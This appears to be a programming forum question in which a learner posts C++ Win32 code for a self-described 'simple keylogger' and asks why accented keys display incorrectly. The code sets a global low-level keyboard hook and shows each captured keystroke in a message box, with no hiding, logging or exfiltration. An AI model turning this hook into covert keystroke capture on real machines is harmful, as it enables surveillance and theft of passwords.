I am learning the Win32 api and C++ and I wanted to do a simple keylogger. Here's what I've came up with :
#include <Windows.h>
#include <string>
#include <iostream>
#include <sstream>
using namespace std;
LRESULT CALLBACK kbLog1(int code, WPARAM wParam, LPARAM lParam);
void initKbLogger();
void kbLog2(int code, WPARAM wParam, LPARAM lParam);
HHOOK keyHook;
void Hworld() {
initKbLogger();
}
void initKbLogger() {
keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbLog1, NULL, NULL);
bool caps;
if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) {
caps = true;
}
MSG msg;
while (GetMessage(&msg, NULL, NULL, NULL) != 0);
UnhookWindowsHookEx(keyHook);
}
// from https://stackoverflow.com/a/3999597
// will convert LPCWSTR to std::string
std::string utf8_encode(const std::wstring& wstr)
{
if (wstr.empty()) return std::string();
int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
return strTo;
}
// main hook fn, supposed to run CallNextHookEx no matter what happens in kbLog2
LRESULT CALLBACK kbLog1(int code, WPARAM wParam, LPARAM lParam) {
OutputDebugStringA("heya");
kbLog2(code, wParam, lParam);
OutputDebugStringA("heya2");
return CallNextHookEx(keyHook, code, wParam, lParam);
}
void kbLog2(int code, WPARAM wParam, LPARAM lParam) {
if ((code != 0) || (wParam != WM_KEYDOWN)) {
return;
}
LPKBDLLHOOKSTRUCT kbHookData = (LPKBDLLHOOKSTRUCT)lParam;
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
WCHAR wChar[4];
int ret = ToUnicode((UINT)kbHookData->vkCode, kbHookData->scanCode, keyboard_state, wChar, 4, 0);
if (ret == -1) {
return;
}
string lol = utf8_encode(wChar);
std::ostringstream out;
out << wChar;
string ss = "hello, you typed the following key: " + lol + " " + out.str();
MessageBoxA(0, ss.c_str(), "Heya", 0);
}
However the problem is that this code can't display the accentued characters that I type in my keyboard. For example, pressing "A" works just fine but pressing "é" doesn't display the actual character. What is wrong? I suppose there is something wrong with converting the vkCode to a string, but I don't see what I've done wrong... Any help? Thanks